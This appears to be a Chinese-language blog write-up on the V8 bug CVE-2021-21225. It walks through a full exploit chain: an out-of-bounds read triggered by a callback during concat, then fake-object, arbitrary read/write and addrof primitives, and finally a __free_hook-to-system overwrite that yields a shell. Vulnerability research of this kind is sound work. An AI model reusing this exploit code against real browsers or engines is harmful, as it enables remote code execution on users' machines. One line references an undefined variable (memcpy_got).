Logo xia0o0o0o

evilCallback: CVE-2021-21225

October 29, 2022
5 min read
Table of Contents

evilCallback: CVE-2021-21225

CVE-2016-1646

在进行这个分析中,可以先看一个比较旧的漏洞 CVE-2016-1646,在执行

a = [1].concat([2, 3]);

的时候,v8会使用

for (int i = 0; i < argument_count; i++) {
  Handle<Object> object = args‑>at(i);
  IterateElements(isolate, object, &visitor))
}

遍历concat()的每一个对象并且传入IterateElements,对于一个只有double元素的数组,它的elementsKind属于FAST_DOUBLE_ELEMENTS这时,在IterateElements会进入如下分支

  switch (array‑>GetElementsKind()) {
    case FAST_DOUBLE_ELEMENTS: {
      // ...
      Handle<FixedArray> elements(FixedArray::cast(array->elements()));
      int fast_length = static_cast<int>(length);
      // ...
      FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
        // ...
        Handle<Object> element_value(elements->get(j), isolate);
        // ...
        if (!element_value->IsTheHole(isolate)) {
          if (!visitor->visit(j, element_value)) return false;
        } else {
          ASSIGN_RETURN_ON_EXCEPTION_VALUE(
              isolate, element_value,
              JSReceiver::GetElement(isolate, array, j), false);
          if (!visitor->visit(j, element_value)) return false;
        }
      });

在这里可以发现,数组的length被缓存下来,然后使用fast_length来控制循环次数,但如果遇到一个hole型的元素,就会使用JSReceiver::GetElement(isolate, array, j), false从原型链查找,这个时候会触发getter/setter callback,这里可以执行任意的JavaScript,如果在这个callback中

proto.__defineGetter__(1, function() {
    array.length = 1;
    new ArrayBuffer(0x7fe00000);
    return 1;
});

就可以导致数组长度变短,并且经过垃圾回收,空闲的内存将被再次分配到其它对象,然而fast_length并没有被修改,导致越界读

CVE-2021-21225

从上面我们可以知道,如果在遍历过程中能够触发callback并且修改掉数组长度,就很有可能是不安全的,观察patch可以发现,patch其实就是重新引入了CVE-2021-21225,在visit()中,有

    MAYBE_RETURN(
      JSReceiver::CreateDataProperty(&it, elm, Just(kThrowOnError)), false);
    return true;

这又会调用Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value)

Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) {
  Isolate* isolate = it->isolate();
  DCHECK_IMPLIES(it->GetReceiver()->IsJSProxy(isolate),
                 it->GetName()->IsPrivateName(isolate));
  DCHECK_IMPLIES(!it->IsElement() && it->GetName()->IsPrivateName(isolate),
                 it->state() == LookupIterator::DATA);
  Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());
 
  // Store on the holder which may be hidden behind the receiver.
  DCHECK(it->HolderIsReceiverOrHiddenPrototype());
 
  Handle<Object> to_assign = value;
  // Convert the incoming value to a number for storing into typed arrays.
  if (it->IsElement() && receiver->IsJSObject(isolate) &&
      JSObject::cast(*receiver).HasTypedArrayOrRabGsabTypedArrayElements(
          isolate)) {
    ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind();
    if (IsBigIntTypedArrayElementsKind(elements_kind)) {
      ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
                                       BigInt::FromObject(isolate, value),
                                       Nothing<bool>());
      if (Handle<JSTypedArray>::cast(receiver)->IsDetachedOrOutOfBounds()) {
        return Just(true);
      }
    } else if (!value->IsNumber() && !value->IsUndefined(isolate)) {
      ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
                                       Object::ToNumber(isolate, value),
                                       Nothing<bool>());
      if (Handle<JSTypedArray>::cast(receiver)->IsDetachedOrOutOfBounds()) {
        return Just(true);
      }
    }
  }

value不是Number的时候,会进一步调用Object::ToNumber这会触发valueOf callback,接下来我们只需要能进入外层的if,这里我们需要让receiver为一个TypedArray,这可以通过Symbol.species来实现,concat会通过Symbol.species来构造需要返回的对象,

    class LeakTypedArray extends Float64Array { }
    let lta = new LeakTypedArray(1024);
 
    lta.__defineSetter__('length', function () { })
 
    const C = new Function();
    C.__defineGetter__(Symbol.species, () => {
        return function () { return lta; }
    });

这样我们就可以让它返回一个TypedArray了,然后通过valueOf callback,触发数组长度缩减

    Array.prototype[0] = {
        valueOf: function () {
            a.length = 1;
            new ArrayBuffer(0x7fe00000);
            delete Array.prototype[0];
        }
    };

Build our primitive

Info leak

在v8中,literal array的储存方式为

Low                                                             High
[element 0][element 1]...[element n][Map][Property][Elements][Length]

所以通过越界读,我们可以泄漏出Map, PropertyElements,从而计算出其它相邻对象的地址

arbitrary r/w

首先我们要能够得到一个最基本的任意读写能力,通过以上的分析,我们可以轻松泄漏出相邻对象的地址,接下来我们考虑构造一个fake object,它的类型为Float Array,这在第一步的时候,通过泄漏的Map,Property,Elements,Length就可以实现,我们把这些泄漏数据存入fake_object_arr的buffer中,接下来它的buffer就会成为这个fake object。 对于一个混合类型的数组

    case PACKED_SMI_ELEMENTS:
    case PACKED_ELEMENTS:
    case PACKED_FROZEN_ELEMENTS:
    case PACKED_SEALED_ELEMENTS:
    case PACKED_NONEXTENSIBLE_ELEMENTS:
    case HOLEY_SMI_ELEMENTS:
    case HOLEY_FROZEN_ELEMENTS:
    case HOLEY_SEALED_ELEMENTS:
    case HOLEY_NONEXTENSIBLE_ELEMENTS:
    case HOLEY_ELEMENTS: {
      // Disallow execution so the cached elements won't change mid execution.
      DisallowJavascriptExecution no_js(isolate);
 
      // Run through the elements FixedArray and use HasElement and GetElement
      // to check the prototype for missing elements.
      Handle<FixedArray> elements(FixedArray::cast(array->elements()), isolate);
      int fast_length = static_cast<int>(length);
      DCHECK(fast_length <= elements->length());
      FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
        Handle<Object> element_value(elements->get(j), isolate);
        if (!element_value->IsTheHole(isolate)) {
          if (!visitor->visit(j, element_value)) return false;
        } else {
          Maybe<bool> maybe = JSReceiver::HasElement(isolate, array, j);
          if (maybe.IsNothing()) return false;
          if (maybe.FromJust()) {
            // Call GetElement on array, not its prototype, or getters won't
            // have the correct receiver.
            ASSIGN_RETURN_ON_EXCEPTION_VALUE(
                isolate, element_value,
                JSReceiver::GetElement(isolate, array, j), false);
            if (!visitor->visit(j, element_value)) return false;
          }
        }
      });
      break;
    }

将会获得对应元素的指针,如果我们通过callback缩减数组长度,并进行垃圾回收,从而让这个目标数组中hole的位置与另外一个存有我们fake_object地址的地址重叠,这个时候elements->get(j)就会返回我们的fake_object对象

    var a = [
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        /* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS
    ];
 
    // var fake_object = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]
    // fake_object is defined in information_leak in order to leak its data
 
    var addr = helper.lltof(helper.fake_object_arr_buffer_addr)
    k.fill(0);
    var fake_jsarray_object_ptr = [
        1.1, 2.2, 3.3, 4.4, 1.1, 2.2, 3.3, 4.4, addr
    ]

这里,我们让addr和hole在垃圾回收后重叠,就可以获得一个以fake_object_arr_buffer_addr为地址的对象了,并且这个对象的属性可以通过fake_object来进行任意的控制,我们就获得了基础的任意读写能力,然而这里有一个问题,就是此时我们的对象其实是一个浮点数组,根上面的分析,这里会尝试将这个数组转换为Number,这会抛出异常,如果在原型链上再加一个callback,通过抛出异常我们就可以顺利退出这个函数,并且把得到的fake_object保存下来

    Array.prototype[9] = {
        valueOf: function () {
            a.length = 1;
            k.length = 1;
            new ArrayBuffer(0x7fe00000);    // force gc
            Object.prototype.valueOf = function () {
                console.log("trigger");
                target_array = this;
                delete Object.prototype.valueOf;
                throw 'bailout';
                return 42;
            }
            delete Array.prototype[9];
            return 1.1;
        }
    };

接下来构造任意读写

function arbread(addr) {
    console.log("[*] read @" + helper.hex(addr));
    helper.fake_object[2] = helper.lltof(addr - 0x10n);
    return helper.ftoll(target_array[0]);
}
 
function arbwrite(addr, data) {
    console.log("[*] write " + helper.hex(data) + " to @" + helper.hex(addr));
    helper.fake_object[2] = helper.lltof(addr - 0x10n);
    target_array[0] = helper.lltof(data << 8n);
    return;
}

通过fake_object我们可以控制target_array的属性,fake_object[2]就是target_arrayelements指针,由此我们就实现了任意读写。

address of

在 JavaScript 引擎的漏洞利用中一个很重要的 primitive 就是 address of,让我们获取任意对象的地址,考虑

var arr = [{}, 1, 1, 1, 1, 1, 1]

arr是一个混合数组,其中存储的是对象的指针,我们将对象存入arr[0]再通过任意读读出这个位置的值,就能知道任意对象的地址了。

function addrof(object) {
    helper.addrof_array[0] = object;
    helper.fake_object[2] = helper.lltof(helper.addrof_array_addr);
    return helper.ftoll(target_array[0]);
}

Code execution

有两种方法,在 JavaScript 引擎的利用中我们可以利用 wasm 或者 JIT 产生的 rwx 代码段写 shellcode,也可以靠普通的glibc方法(这里不同的库版本会有影响),泄漏 glibc 地址,写 freehook 拿到任意代码执行,

 
console.log("[*] address of array: " + helper.hex(addr_of_arr))
 
addr_of_arr_constructor = addrof(arr.constructor) - 1n;
 
console.log("[*] address of array constructor: " + helper.hex(addr_of_arr_constructor))
 
arr_map_addr = arbread(addr_of_arr);
console.log("[*] address of arr_map_addr: " + helper.hex(arr_map_addr));
 
map_region = arr_map_addr & 0xFFFFFFFFFFFF0000n
console.log("[*] address of map_region: " + helper.hex(map_region));
 
p1 = map_region + 0x40n;
p2 = arbread(p1) / 256n;
p3 = arbread(p2) / 256n;
code = arbread(p3) / 256n - 0x389eb0n;
console.log("[+] code: " + helper.hex(code));

通过map我们可以拿到可执行文件的基址,然后通过GOT表拿到libc地址

puts_got = code + 0xfd86b0n;
libc_addr = arbread(memcpy_got) / 256n - 0xbbad0n;
console.log("[+] puts: " + helper.hex(arbread(puts_got) / 256n));
 
console.log("[+] libc_addr: " + helper.hex(libc_addr));
 
freehook = libc_addr + 0x1eee48n;
console.log("[+] freehook: " + helper.hex(freehook));
 
system = libc_addr + 0x52290n
console.log("[+] system: " + helper.hex(system));

然后写freehook为system,最后利用console.log会释放参数,执行任意命令

arbwrite(freehook, system);
console.log("/bin/sh");

enjoy your shell